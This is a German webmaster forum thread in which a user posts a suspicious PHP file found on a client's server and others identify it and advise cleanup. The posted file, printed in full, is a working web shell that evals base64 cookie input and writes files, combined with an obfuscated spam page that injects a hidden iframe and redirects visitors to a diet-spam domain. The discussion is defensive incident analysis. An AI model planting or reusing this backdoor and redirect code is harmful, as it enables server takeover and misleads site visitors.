Seite 1 von 1

Suspekte PHP-Dateien auf Server

Verfasst: 05.08.2013, 06:19
von bogumir
Bei einem Kunden habe ich am Server ca. 40 gleiche, aber verschieden genannte PHP-Dateien gefunden, welche mir ziemlich suspekt erscheinen, insbesondere., weil niemand weiß wie die dort hin gekommen sind.

Ich habe eine davon unten eingestellt, kann mir wer sagen, was das ist?

Code: Alles auswählen


<?php
if&#40;isset&#40;$_COOKIE&#91;'ggm'&#93;&#41;&#41;&#123;ob_start&#40;&#41;;$b=strrev&#40;"edoced_4"."6esab"&#41;;eval&#40;$b&#40;$_COOKIE&#91;'ggm'&#93;&#41;&#41;;setcookie&#40;$_COOKIE&#91;'ggn'&#93;,$_COOKIE&#91;'ggp'&#93;.base64_encode&#40;ob_get_contents&#40;&#41;&#41;.$_COOKIE&#91;'ggp'&#93;&#41;;ob_end_clean&#40;&#41;;&#125;
if&#40;isset&#40;$_COOKIE&#91;'f'&#93;&#41;&#41;&#123; file_put_contents&#40;"f.txt", $_COOKIE&#91;'f'&#93;&#41;; &#125;
if&#40;isset&#40;$_GET&#91;'i'&#93;&#41;&#41;&#123; $name = './foxlogo.jpg'; $fp = fopen&#40;$name, 'rb'&#41;; header&#40;"Content-Type&#58; image/jpeg"&#41;; header&#40;"Content-Length&#58; " . filesize&#40;$name&#41;&#41;; fpassthru&#40;$fp&#41;; exit; &#125;

		function rand_string&#40; $length &#41; &#123;
			$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
			$size = strlen&#40; $chars &#41;;
			$str = "";
			for&#40; $i = 0; $i < $length; $i++ &#41; &#123;
				$str .= $chars&#91; rand&#40; 0, $size - 1 &#41; &#93;;
			&#125;
			return $str;
		&#125;

		$prefix="m";
	$titles = array&#40;"Lose 1-2 Pounds Daily! Permanently!","No Hunger Pains, Maintain Muscle Tone, Feel Great!","Equally as Effective as Clinical Injections. Save Money & NO Pain!","Made in the USA! FDA Compliant! All Natural & Completely Safe!","Raspberry Ultra is YOUR Solution! Guaranteed Results!","America Top Diet Trends","The best Diet","Top Diet"&#41;;
	$title = $titles&#91;array_rand&#40;$titles&#41;&#93;;
	$img_link = "http&#58;//".$_SERVER&#91;"HTTP_HOST"&#93;."/".$prefix."/".rand_string&#40;10&#41;.".jpg";
	$waits = array&#40;"Wait please...", "Open...", "........", "1 second!","...","Please, wait!"&#41;;
	$wait = $waits&#91;array_rand&#40;$waits&#41;&#93;;



function xo&#40; $text, $xorKey &#41; &#123;
$xored = '';
$chars = str_split&#40; $text &#41;;
$i = 0;
while &#40; $i < count&#40; $chars &#41; &#41; &#123;
 $xored .= chr&#40; ord&#40; $chars&#91;$i&#93; &#41; ^ $xorKey &#41;;
 $i++;
&#125;
return rawurlencode&#40;$xored&#41;;
&#125;
$magickword = "a".rand_string&#40;5&#41;;
$x=rand&#40;1,99&#41;;
$bitly="<iframe src='http&#58;//bit.ly/W2HpQg' width='1' height='1' frameborder='0'></iframe>";
 $redir = "<script>function delayer&#40;&#41;&#123;window.location = 'http&#58;//best.diet.news.2013.for.lose.".rand&#40;1,5&#41;.".pound.xcfox.com/?s=daidu16'&#125;; setTimeout&#40;'delayer&#40;&#41;', 200&#41;;</script>";
?><!DOCTYPE HTML>
<html><head><title><?php echo $title; ?></title>
<meta property="og&#58;title" content="<?php echo $title; ?>"/>
<meta property="og&#58;type" content="article"/>
<meta property="og&#58;url" content="<?php echo "http&#58;//".$_SERVER&#91;"HTTP_HOST"&#93;.$_SERVER&#91;"SCRIPT_NAME"&#93; ?>"/>
<meta property="og&#58;site_name" content="<?php echo $_SERVER&#91;"HTTP_HOST"&#93; ?>"/>
<meta property="og&#58;image" content="<?php echo "http&#58;//".$_SERVER&#91;"HTTP_HOST"&#93;.$_SERVER&#91;"SCRIPT_NAME"&#93;."?i=".rand_string&#40;10&#41;.".jpg" ?>"/>
<script>function <?= $magickword ?>&#40;s&#41; &#123; var key=<?= $x ?>; var str = decodeURIComponent&#40;s&#41;; var xored = ""; for &#40;i=0; i<str.length;i++&#41; &#123; var a = str.charCodeAt&#40;i&#41;; var b = a ^ key; xored = xored+String.fromCharCode&#40;b&#41;; &#125; document.write&#40;xored&#41;; return xored; &#125;;
</script>
</head><body id="<?= rand_string&#40;50&#41; ?>"  >
<h1 id="<?= rand_string&#40;50&#41; ?>"><script><?= $magickword ?>&#40;'<?= xo&#40; $wait, $x &#41; ?>'&#41;;</script></h1>
<script><?= $magickword ?>&#40;'<?= xo&#40; $bitly, $x &#41; ?>'&#41;;</script><script><?= $magickword ?>&#40;'<?= xo&#40; $redir, $x &#41; ?>'&#41;;</script></body></html>


Verfasst:
von
Content Erstellung von ABAKUS Internet Marketing
Ihre Vorteile:
  • einzigartige Texte
  • suchmaschinenoptimierte Inhalte
  • eine sinnvolle Content-Strategie
  • Beratung und Umsetzung
Jetzt anfragen: 0511 / 300325-0

Verfasst: 05.08.2013, 06:59
von ElDiablo
Also auf den ersten Blick werden Seiten mit diversen Titles generiert, die auf eine Diet-Spam-Seite führen.

Also ändere mal die Passwörter und prüfe alle PCs genau, die FTP oder Shell Zugang hatten.

Verfasst: 05.08.2013, 09:15
von bogumir
Danke.

FTP-Zugang gibts nur einen einzigen, von meinem PC

Verfasst:
von

Verfasst: 05.08.2013, 11:10
von afb
bogumir hat geschrieben:Danke.

FTP-Zugang gibts nur einen einzigen, von meinem PC
Das wäre dann aber schlimmer, weil dann vermutlich der Server kompromittiert wurde und nicht "nur" jemand das FTP-Kennwort von Deinem PC gefischt hat.

Hier halte ich in jedem Fall eine gründliche Prüfung des Servers für dringend notwendig.

HTH
Alex

Verfasst: 05.08.2013, 16:17
von celtic
Du könntest versuchen die Logdateien auswerten, um zu sehen wann und wie sich Zugang verschafft wurde. Vielleicht siehst Du schon am FTP das Datum, wann die Dateien hochgeladen wurden...

Verfasst: 05.08.2013, 23:04
von xlb
Bei einem Kunden habe ich ... PHP-Dateien gefunden,
Die "liegen" da so rum? Im Document-Root? Werden die von irgendwo verlinkt? Mal in den Access Logs (HTTP) nachgesehen, ob die "von aussen" angefragt werden?

Wäre es ein Problem, mal die URL zu posten?

Für FTP gibt es (als Pendant zur .htaccess für HTTP) die Möglichkeit, in einem .ftpaccess-File Zugangsberechtigungen zu definieren. Sofern der Hoster dies unterstützt.
Vielleicht siehst Du schon am FTP das Datum, wann die Dateien hochgeladen wurden...
Und via der IP ggf. von wem und wo ...

Denke aber auch, dass FTP hier nicht unbedingt die Wurzel des Übels ist.

Verfasst: 06.08.2013, 15:19
von tab
Hallo bogumir,

falls noch nicht geschehen, sieh' mal zu, dass Du diese Dateien ganz schnell vom Server entfernst.
Der erste Teil des Scripts ist eine s.g. shell, die dem hacker folgendes ermöglicht:

- beliebigen PHP Code auf dem server ausführen
- beliebige files lesen
- neue files schreiben

Das ganze natürlich nur mit den Berechtigungen, die der php user hat, aber das kann im Zweifelsfall schon ausreichen, um den kompletten Server unter Kontrolle zu bringen. Du kannst fast sicher davon ausgehen, dass derjenige, der die files dort abgelegt hat irgendwo noch weitere, besser versteckte Hintertüren hinterlassen hat.

Falls Du ausschließen kannst, dass die Dateien per ftp dort abgelegt wurden (Passwort geklaut?) wurde vermutlich eine Sicherheitslücke in einer veralteten Version irgendeiner auf dem Server installierten Web-Anwendung (wordpress, shop, cms...) genutzt.
Also am besten mal alles auf den neuesten Stand bringen und hoffen, dass Du alle Hintertüren findest.

Viel Erfolg!